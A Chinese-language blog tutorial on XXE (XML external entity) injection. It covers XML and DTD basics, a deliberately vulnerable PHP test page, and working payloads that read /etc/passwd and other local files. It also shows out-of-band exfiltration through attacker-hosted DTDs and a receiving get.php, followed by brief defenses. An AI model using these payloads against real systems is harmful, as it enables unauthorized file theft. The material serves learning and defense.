XXE学习

 Von's Blog     2020-03-04   8115 words    & views

什么是XXE?

XXE全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

XML学习

既然和XML相关,那我们就先来学习下XML的相关知识。XML 指可扩展标记语言(eXtensible Markup Language).XML被设计用来传输和存储数据。(划重点,存储!html是显示数据,两者设计的目的不同)
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素?什么是DTD呢?DTD全称为文档类型定义,使用的主要原因是XML都是用户自定义的标签,若出现小小的错误,软件程序将不能正确地获取文件中的内容而报错,因此,我们需要有一个标准来规范这份XML,关于DTD的写法我们在下一部分学习(DTD不是必需的)。 一份标准xml格式文档如下:

<!--XML申明-->
<?xml version="1.0"?> 
<!--文档类型定义(DTD)-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为"#PCDATA"类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

我来说说关于XML的几个注意点:
1. 我们可以看出,XML的写法和HTML有点类似,都很多拥有标签和闭合标签,区别不同的是xml必需拥有闭合标签,而HTML有的可以不需要(例如<br>).
2. 另外还有一点,XML可以使用自己发明的标签,例如文中的<to>之类的标签都是自己发明的,而HTML则不行.
3. XML必须包含根元素,它是所有其他元素的父元素,比如上面实例中note就是根元素.
4. XML和HTML一样可以使用属性,例如以下例子:

<person sex="female">
<firstname>Anna</firstname>
<lastname>Smith</lastname>
</person>

可以看到,person标签就提供了一个sex的属性,需要注意的是,xml的属性一定要加引号,而且由于XML属性不易维护,应该尽量少使用属性.
5. XML标签对大小写敏感.

DTD学习

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构.
我们还是以上面那个XML文件为例:

<!DOCTYPE note [  <!--定义此文档是 note 类型的文档(根元素为note)-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素(to,from,heading,body)-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为"#PCDATA"类型-->
]>

每一行的意义都在注释里面了,需要注意的是假如我们引用的DTD文件位于XML文件外部,我们可以通过外部引用的方法来引入DTD文件:

语法:<!DOCTYPE root-element SYSTEM "filename"> 
举例: <!DOCTYPE note SYSTEM "note.dtd">

PCDATA的意思是被解析的字符数据,在XML中,以下5个字符有特殊的含义

> < & " '

如果我们直接使用这些字符,可能会把<解析成标签的一部分导致解析错误,因此我们应该采用以下代换:

实体引用 字符
\< <
\> >
\& &
\"
\'

如果我们不想一个一个去设置,我们可以直接将字符类型设置为CDATA,CDATA是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。除了PCDATA,CDATA还有ANY,EMPTY等类型可以选择。

实体

实体可以理解为变量,其必须在DTD中定义声明,可以在文档中的其他位置引用该变量的值。
实体根据引用方式,可分为内部实体与外部实体.

内部实体的声明

<!ENTITY entity-name "entity-value"> 
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML 实例:
<author>&writer;&copyright;</author> 
一个实体由三部分构成:一个和号 (&),一个实体名称, 以及一个分号 (;)

这样,当我们保存了XML文件打开后,将会把&writer;和&copyright;进行名称的代换.

外部实体的声明

<!ENTITY entity-name SYSTEM "URI/URL"> 
实例:
<!ENTITY writer SYSTEM "http://www.xxxx.com/entities.dtd">

语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢? 主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

实体根据类型的不同,又可以分为通用实体和参数实体

参数实体的引用

参数实体引用方法:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

需要注意的是:
1. 使用% 实体名(这里面空格不能少)在DTD中定义,并且只能在DTD中使用 %实体名;引用. 2. 只有在 DTD 文件中,参数实体的声明才能引用其他实体
实例:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY % name SYSTEM "file:///etc/passwd">
  %name;
]>

我们可以怎么利用?

上面说了那么多,终于来到了正题,什么是XXE?以下面的例子为例:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!ENTITY writer SYSTEM "file:///c:/test.dtd">
<author>&writer;</author> 

假如我们把路径换成敏感文件的目录,不就可以读出文件的内容了吗?
这就是一个最简单的XXE,XXE还可以造成命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害.(XXE本质上是一种SSRF)

有回显获取数据

<head><meta charset=utf-8><title>xxe测试</title></head><body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form></body>

<?php
libxml_disable_entity_loader(false);
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){ $data= $_POST['data'];
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT | LIBXML_DTDLOAD); 
$answer = simplexml_import_dom($dom);
print($answer); }
?>

我们以上面的代码为例进行测试,需要注意的是,PHP在libxml>2.9.0时默认关闭了外部实体解析,因此需要加入一句:

libxml_disable_entity_loader(false);

来开启外部实体解析。(libxml版本可以在phpinfo界面查看)
我们可以构建payload:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///C:/xxe.txt">]><login>&xxe;</login>

可以看到,成功获取数据. 由于我们这个文件不含有特殊字符,所以读取相当顺利,但是如果我们读取的文件含有<,>之类的字符,就会出现解析错误,这时候如果是在PHP下,我们可以采取将其转换成base64编码的形式来成功解析。
构建payload:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/xxe.txt">]><login>&xxe;</login>

可以看到,成功得到base64编码后的结果。

无回显获取数据

当没有输出时,我们应该怎么获取数据呢?我们可以采取获取数据后,将数据发往我们自己服务器的方法来获取数据。
我们仍旧采用上面的代码进行分析(注释了输出语句):

<head><meta charset=utf-8><title>xxe测试</title></head><body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form></body>

<?php
libxml_disable_entity_loader(false);
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){ $data= $_POST['data'];
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT | LIBXML_DTDLOAD); 
$answer = simplexml_import_dom($dom);
}
?>

我们可以采用以下的payload:

<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xx.xx/file.dtd">
%dtd;
%send;
]>

file.dtd上的内容

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xx.xx/?p=%file;'>">
%payload;

具体原理不细讲,这样我们就可以在访问日志中接收到/etc/hosts的文件了。
这里需要注意一个问题,/etc/hosts文件较小,所以可以直接利用get回显,但是如果是/etc/passwd这样比较大的文件,dtd声明中定义外部实体时,对url有长度限制,我们就需要利用zlib.deflate来帮助我们压缩,从而得以从get中获取文件内容.
payload:

<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xx.xx/file.dtd">
%dtd;
%send;
]>

我们将内容复制下来保存到一个文件1.txt中,然后使用base64解码再加上zlib.inflate解压即可:

php://filter/read=convert.base64-decode/zlib.inflate/resource=1.txt

当然我们还可以弄一个直接接收文件的php.
get.php

<?php
file_put_contents('xxe.txt', $_GET['xxe']);
?>

payload:

<!ENTITY % remote SYSTEM "http://xxx.xxx.xx.xx/XXE/1.dtd">
%remote;
]>

dtd文件内容:

<!ENTITY % payload    SYSTEM     "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxx.xxx.xx.xx/get.php?xxe=%payload;'>">
%int;
%trick;

这个did文件,引用了外部实体/etc/passwd作为payload的值,然后又将payload拼接到url上,进行http请求 接收到请求的get.php就将这个文件内容保存到xxe.txt中了,形成了一个文件读取的过程,最后保存到主机上
这里还遇到一个问题,把get.php放在与外部dtd文件同一个目录下时,就没有办法创建这个文本,但是放在不同目录下时就能够成功创建

防御XXE

主要思路就是禁用外部实体的引用

libxml_disable_entity_loader(true);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities = False))

XXE的构造

参数实体以%开头,我们使用参数实体需要遵循两条原则:
1.参数实体只能在DTD声明中使用
2.参数实体中不能再引用参数实体
也就是说,直接在内部实体定义中引用另一个实体的这种方法是行不通的,因为定义的参数实体不能直接在当前DTD处被其他的参数实体在定义时引用
错误代码示例:

<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "http://xxx.xxx.xx.xx/?%param1"> %param2;
]>

同样,下面这样的代码也是不行的:

<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://112.74.35.205/?%param 1;'>">
%param2;
]>

原因是不能再实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部实体连接,无论是一般实体还是参数实体
那我们怎样才能实现嵌套呢?
我们可以将嵌套的实体声明存放到一个外部文件中,这样做可以规避错误,而且这种方法可以应对过滤了file、&等字符的情况
payload:

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xx.xx/evil.xml"> %remote;
%all;
]>
<root>&send;</root>

evil.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx.xxx.xx.xx/?file=%file;'>">

实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发

参考文章

一篇文章带你深入理解漏洞之 XXE 漏洞天师太强了!!!!
qiqi学姐的文章